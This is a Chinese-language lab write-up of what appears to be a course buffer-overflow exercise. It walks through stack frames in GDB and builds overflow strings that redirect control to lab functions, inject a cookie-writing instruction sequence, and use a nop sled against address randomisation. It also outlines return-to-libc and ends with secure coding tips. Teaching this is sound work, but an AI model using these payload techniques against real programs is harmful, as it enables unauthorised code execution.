计算机系统安全实验:栈帧结构与缓冲区溢出漏洞利用

1. 栈帧结构与缓冲区溢出基础

第一次接触缓冲区溢出漏洞时,我盯着GDB调试界面看了整整三小时。那感觉就像在拆解一个精密的瑞士手表——每个齿轮(寄存器)的转动都必须分毫不差。让我们从最基础的栈帧结构说起。

栈帧是函数调用的活动记录,包含三个关键部分:

  • 局部变量区:存放函数内部的临时变量
  • 保存的寄存器值:如ebp、ebx等
  • 返回地址:函数执行完后该回到哪里

在32位Linux系统中,典型的栈帧布局是这样的:

+-----------------+ | 参数n | ← 调用者的栈帧 | ... | | 参数1 | +-----------------+ | 返回地址 | ← 当前栈帧开始 +-----------------+ | 保存的ebp | +-----------------+ | 局部变量 | | ... | +-----------------+

缓冲区溢出就像往杯子里倒啤酒——当输入的泡沫(数据)超过杯子(缓冲区)容量时,就会溢出到桌面(其他内存区域)。通过精心构造输入数据,我们可以让溢出的部分覆盖返回地址,从而控制程序执行流。

2. GDB实战分析栈帧

让我们用GDB调试一个简单程序,观察栈帧的实际结构。假设有这样一个存在漏洞的函数:

void vulnerable() { char buffer[8]; gets(buffer); // 危险函数! }

编译时记得关闭保护机制:

gcc -fno-stack-protector -z execstack -g vuln.c -o vuln

在GDB中逐步执行:

(gdb) break vulnerable (gdb) run (gdb) info frame Stack level 0, frame at 0xffffd120: eip = 0x80491d6 in vulnerable; saved eip = 0x8049321 called by frame at 0xffffd150 Arglist at 0xffffd118, args: Locals at 0xffffd118, Previous frame's sp is 0xffffd120 Saved registers: ebp at 0xffffd118, eip at 0xffffd11c

这里可以看到:

  • 返回地址保存在0xffffd11c
  • buffer起始地址在ebp-0x8(32位系统)
  • 输入12个字符就能触及返回地址(8字节buffer + 4字节ebp)

3. 构造基础攻击载荷

以实验中的Level0为例,我们需要让程序跳转到smoke函数。关键步骤:

  1. 确定偏移量:通过反汇编找到buffer到返回地址的距离
080491f4 <getbuf>: 80491f4: 55 push %ebp 80491f5: 89 e5 mov %esp,%ebp 80491f7: 83 ec 38 sub $0x38,%esp 80491fa: 8d 45 d8 lea -0x28(%ebp),%eax # buffer起始地址

这里buffer大小是0x28(40)字节,加上4字节旧ebp,总共需要44字节填充。

  1. 获取目标地址
08048bd2 <smoke>: 8048bd2: 55 push %ebp
  1. 构造攻击字符串
00 00 00 00 00 00 00 00 ← 40字节填充 00 00 00 00 ← 覆盖ebp d2 8b 04 08 ← smoke函数地址(小端序)

实测中可以用Python生成:

print(b"A"*44 + b"\xd2\x8b\x04\x08")

4. 进阶攻击技术

4.1 带参数攻击(Level1)

当需要调用如fizz(cookie)时,攻击字符串需要:

  1. 覆盖返回地址为fizz函数入口
  2. 在返回地址后放置cookie参数

栈帧布局变为:

[buffer填充][旧ebp][fizz地址][返回地址占位][cookie值]

关键技巧:

  • 参数位于ebp+8的位置
  • 使用占位符填充返回地址位置

4.2 代码注入(Level2)

当需要修改全局变量时,我们需要注入自定义汇编代码:

movl $0x5216b8f0, 0x804d100 # 将cookie写入全局变量 push $0x8048c49 # bang函数地址 ret

将其编译后获取机器码:

gcc -m32 -c bang.s objdump -d bang.o

攻击字符串结构:

[机器代码][填充][buffer地址]

其中buffer地址需要通过GDB调试获取:

(gdb) break getbuf (gdb) run (gdb) print /x $eax $1 = 0x55683228

5. 绕过防护机制

现代系统有多种防护措施,实验中我们主要面对两种:

5.1 栈不可执行(NX)

解决方案:复用已有代码(Return-to-libc)

  • 找到system()函数地址
  • 布置"/bin/sh"字符串
  • 构造调用链

5.2 地址随机化(ASLR)

应对方法:

  1. 使用nop雪橇技术
print(b"\x90"*100 + shellcode + return_address)
  1. 暴力破解(需要信息泄露)

6. 实验中的踩坑记录

在完成Level4时,我遇到了地址随机化的挑战。getbufn每次运行时栈地址都不同,解决方案是:

  1. 使用nop指令填充大部分空间
nop # 机器码0x90
  1. 将返回地址指向缓冲区高端地址
  2. 在高端地址放置有效载荷

通过GDB获取5次运行的地址范围:

0x55683048 0x55682ff8 0x55682fe8 0x55682fe8 0x55683038

选择最大地址0x55683048作为返回地址,确保总能滑入有效载荷区。

7. 安全编程建议

经历过这些实验后,我养成了这些编码习惯:

  • 永远使用strncpy代替strcpy
  • 对用户输入进行长度检查
  • 使用安全函数如snprintf
  • 开启编译器的栈保护选项

缓冲区溢出就像编程界的"不要用牙签掏耳朵"——看似小事,后果严重。理解攻击原理,才能写出更健壮的代码。